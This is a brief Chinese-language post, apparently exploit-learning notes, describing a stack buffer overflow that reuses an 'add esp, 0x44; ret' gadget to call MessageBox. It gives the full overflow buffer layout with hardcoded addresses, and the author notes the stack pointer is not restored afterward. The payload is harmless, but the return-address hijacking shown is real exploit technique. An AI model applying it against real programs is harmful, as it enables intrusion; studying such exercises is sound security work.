思路很简单,溢出后已经可以把数据写到堆栈里了。 只把要压入的数据预先先入到exploit指定的地方, 在CODE里找到0x00401B8D 这个地址是add esp, 44;ret 直接滑到预先设定好的地方 就可以在代码段执行代码并且正常返回,但是返回后由于ESP没有方法返回到正常的位置,出现引用原先局部变量时出错。
堆栈内容如下:
代码:
*(DWORD *)(g_ShellCodeBuffer + 0x00) = 0x00401B8D;//保存返回地址 <- add esp, 0x44;ret *(DWORD *)(g_ShellCodeBuffer + 0x1C) = 0x004011CE;//指向MessageBox返回地址 <- 0x0012FC94 *(DWORD *)(g_ShellCodeBuffer + 0x20) = 0x00000000;//MessageBox Arg1(HANDLE) <- 0x0012FC98 *(DWORD *)(g_ShellCodeBuffer + 0x24) = 0x0012FCAC;//MessageBox Arg2(Context) <- 0x0012FC9C *(DWORD *)(g_ShellCodeBuffer + 0x28) = 0x0040606C;//MessageBox Arg3(Title) <- 0x0012FCA0 *(DWORD *)(g_ShellCodeBuffer + 0x2C) = 0x00000000;//MessageBox Arg4(MB_OK) <- 0x0012FCA4 *(DWORD *)(g_ShellCodeBuffer + 0x30) = 0x0040116C;//原返回地址 <- 0x0012FCA8 memcpy(g_ShellCodeBuffer + 0x34, __STR_SUCCESS__, 30);//字符串 <- 0x0012FCAC *(DWORD *)(g_ShellCodeBuffer + 0x80) = 0x0012FC78;//指向保存返回地址
